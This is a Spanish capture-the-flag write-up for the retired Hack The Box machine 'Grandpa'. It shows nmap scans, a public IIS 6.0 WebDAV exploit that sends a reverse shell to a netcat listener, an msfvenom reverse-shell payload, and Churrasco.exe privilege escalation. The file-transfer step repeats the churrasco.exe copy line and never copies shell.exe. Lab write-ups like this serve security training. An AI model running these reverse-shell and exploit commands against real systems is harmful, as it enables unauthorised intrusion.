Grandpa Write-Up

Fecha de lanzamiento12 Abr 2017
EstadoRetirada
DificultadEasy
PlataformaWindows
IP10.10.10.14

Información de la máquina


RECONOCIMIENTO

Mediante el escaneo con la herramienta nmap podemos observar abierto el puerto 80.

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.14 -oG allPorts
nmap -sCV -p80 10.10.10.14 -oN targeted

Observamos que esta corriendo un Microsoft IIS de versión 6.0, que si comprobamos la versión actual esta bastante desactualizada (versión actual es la 10). Además podemos observar que nos devuelve que existen numerosos ‘Risky Methods‘. Por ello vamos a hacer uso de la herramienta davtest para que nos prueba la subida de diferentes extensiones de archivos.

No obtenemos resultados relevantes, pero al ser una versión tan antigua, seguramente existan exploits públicos interesantes. En una búsqueda rápida en Google, vemos que encontramos un repositorio de Github útil: https://github.com/g0rx/iis6-exploit-2017-CVE-2017-7269

Este exploit aprovecha una vulnerabilidad existente en los Microsoft IIS de versión 6.0 mediante un desbordamiento de búfer en una función del servicio WebDav que permite ejecución remota de comandos. Este exploit nos lo automatiza y nos permite mandarnos una reverse shell a nuestro equipo. Para ello, nos clonamos el repositorio, y se trata de un script sencillo en Python2, donde tenemos que pasar IP remota y local así como puertos remotos y locales como parámetros. A su vez, nos ponemos en escucha en ese puerto para que nos llegue la reverse shell.

EXPLOTACIÓN

# Nos ponemos en escucha
rlwrap nc -lvnp <localport>

# Corremos el script
python2 iis6reverseshell.py 10.10.10.14 80 <localIP> <localPort>

Ya tenemos acceso a la máquina como un usuario no privilegiado. Lo siguiente será escalar privilegios para obtener máximos permisos.

ESCALADA DE PRIVILEGIOS

Si vemos los privilegios que tenemos, vemos que tenemos habilitado el privilegio de SeImpersonatePrivilege.

Teniendo este privilegio, tenemos una potencial escalada de privilegios. Para estos casos utilizaríamos herramientas como JuicyPotato, SweetPotato... pero si hacemos un systeminfo, vemos que tenemos un Windows Server 2003. Es una versión de OS muy antigua, y el Juicy Potato no tiene soporte para esta versión.

Por ello, vamos a usar un exploit denominado Churrasco.exe. Se trata de un exploit similar a JuicyPotato, pero compatible con versiones más antiguas de Windows como XP o 2003. Para más información visitar el siguiente link: https://binaryregion.wordpress.com/2021/08/04/privilege-escalation-windows-churrasco-exe/.

Nos vamos a descargar el ejecutable, y antes de transferirlo a la máquina vamos a crearnos un ejecutable malicioso que nos entable una reverse shell a nuestro equipo. Para ello vamos a usar la herramienta msfvenom.

msfvenom -p windows/shell_reverse_tcp LHOST=<local machine IP> LPORT=4444 EXITFUNC=thread -f exe -a x86 --platform windows -o shell.exe

Una vez tenemos ambos ejecutables, nos los vamos a transferir a la máquina víctima. Para ello, vamos a compartir los archivos a través del protocolo SMB, y desde una carpeta que nos creemos en el directorio Temp , vamos a copiarnos los archivos.

# Maquina Local

impacket-smbserver smb $(pwd) -smb2support

# Máquina Víctima

copy \\IPLOCAL\smb\churrasco.exe churrasco.exe
copy \\IPLOCAL\smb\churrasco.exe churrasco.exe

Por último, vamos a ejecutar el exploit, pasándole el ejecutable malicioso como argumento y levantando un puerto a la escucha en local.

churrasco.exe -d "C:\WINDOWS\Temp\PrivEsc\shell.exe"

Ya tenemos máximos privilegios en la máquina Windows y podemos recolectar ambas flags.

Jorge Escrito por: